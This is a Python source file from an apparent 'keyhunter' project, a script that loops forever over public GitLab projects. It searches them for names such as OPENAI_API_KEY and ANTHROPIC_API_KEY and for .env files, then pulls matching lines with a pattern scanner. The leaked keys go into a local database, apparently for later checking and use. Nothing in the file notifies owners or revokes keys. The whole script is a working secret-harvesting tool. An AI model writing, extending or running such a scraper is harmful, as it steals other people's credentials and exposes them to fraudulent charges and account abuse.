keyhunter-parser/gitlab_eternal.py

"""ETERNAL GitLab hunt (80% conversion source) — standalone process.
Project search -> per-project blob-search grep. Logs gitlab_eternal.log."""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import sqlite3
import sys
import time
import hashlib
import os
import urllib.request
import urllib.parse
import urllib.error
from key_patterns import scan_text

sys.path.insert(0, os.path.join(KF_BASE, "src"))

# Ignore env proxies (LANE_CONTRACT §4, trust_env-equivalent for urllib):
# ProxyHandler({}) does NOT fall back to getproxies_environment().
urllib.request.install_opener(
    urllib.request.build_opener(urllib.request.ProxyHandler({})))

DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
LOG = os.environ.get("KF_LOG") or os.path.join(KF_BASE, "gitlab_eternal.log")
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

SEARCH_QUERIES = [
    "DASHSCOPE_API_KEY", "ZHIPU_API_KEY", "ZAI_API_KEY",
    "OPENROUTER_API_KEY", "MOONSHOT_API_KEY", "KIMI_API_KEY",
    "DEEPSEEK_API_KEY", "REPLICATE_API_TOKEN", "TOGETHER_API_KEY",
    "FIREWORKS_API_KEY", "NVIDIA_API_KEY", "COHERE_API_KEY",
    "GROQ_API_KEY", "SILICONFLOW_API_KEY", "ELEVENLABS_API_KEY",
    "STABILITY_API_KEY", "ANTHROPIC_API_KEY", "OPENAI_API_KEY",
    "filename:.env", "docker-compose",
]

MAX_DEPTH = 200_000


def log(msg):
    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
    print(line, flush=True)
    with open(LOG, "a", encoding="utf-8", errors="replace") as f:
        f.write(line)


def fetch(url, timeout=20):
    for attempt in (0, 1):
        try:
            req = urllib.request.Request(url, headers=UA)
            with urllib.request.urlopen(req, timeout=timeout) as r:
                return r.read().decode(errors="replace")
        except urllib.error.HTTPError as e:
            if e.code == 429 and attempt == 0:
                log("429 rate-limited, backoff 60s")
                time.sleep(60)
                continue
            raise


def fetch_json(url, timeout=20):
    import json
    return json.loads(fetch(url, timeout))


def db_add_key(cur, seen, key, prov, repo):
    if isinstance(key, tuple):
        key = key[0]
    if key in seen or len(key) < 25:
        return 0
    seen.add(key)
    cur.execute(
        "INSERT INTO keys (hash, val, prov, status, found, repo) "
        "VALUES (?,?,?,?,?,?) "
        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
        "WHERE keys.status IN ('DEAD','ERR')",
        (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
         "gitlab", repo))
    return 1


def blob_term(q):
    """Env-name queries double as blob-search terms; generic else."""
    return q if "_" in q else "api_key"


def blob_search(pid, term):
    try:
        return fetch_json(
            f"https://gitlab.com/api/v4/projects/{pid}/search"
            f"?scope=blobs&search={urllib.parse.quote(term)}&per_page=20")
    except Exception as e:
        log(f"  blob_search {pid} {term!r}: {str(e)[:60]}")
        return []


def scan_project(cur, seen, pid, name, term):
    """GitLab-side grep: /search?scope=blobs returns matched lines in 'data'."""
    n = 0
    for h in blob_search(pid, term):
        data = h.get("data", "")
        path = h.get("path", "?")
        if len(data) > MAX_DEPTH:
            continue
        for prov, key in scan_text(data):
            if len(key) < 25:
                continue
            if db_add_key(cur, seen, key, prov, f"{name}/{path}"):
                n += 1
                log(f"  + {prov} {key[:24]}... {name}/{path}")
        time.sleep(0.3)
    return n


def cycle(db, qi):
    cur = db.cursor()
    cur.execute("SELECT val FROM keys")
    seen = {r[0] for r in cur.fetchall()}
    total = 0
    for i in range(3):
        q = SEARCH_QUERIES[qi % len(SEARCH_QUERIES)]
        qi += 1
        try:
            projects = fetch_json(
                "https://gitlab.com/api/v4/projects?search="
                + urllib.parse.quote(q.replace("_API_KEY", "").replace("filename:", "").lower())
                + "&per_page=20&order_by=last_activity_at&sort=desc&simple=true")
        except Exception as e:
            log(f"search {q!r} err: {str(e)[:60]}")
            continue
        log(f"query {q!r}: {len(projects)} projects")
        for p in projects[:12]:
            pid, name = p.get("id"), p.get("path_with_namespace", "?")
            try:
                n = scan_project(cur, seen, pid, name, blob_term(q))
                total += n
            except Exception as e:
                log(f"  project {name} err: {str(e)[:50]}")
            time.sleep(1.2)
        time.sleep(3)
    db.commit()
    return total, qi


def main():
    log(f"=== gitlab eternal START pid={__import__('os').getpid()} ===")
    db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
    qi = 0
    while True:
        try:
            n, qi = cycle(db, qi)
            log(f"CYCLE done: +{n}; resting 5min")
        except Exception as e:
            log(f"cycle error (continuing): {e}")
        time.sleep(300)


if __name__ == "__main__":
    main()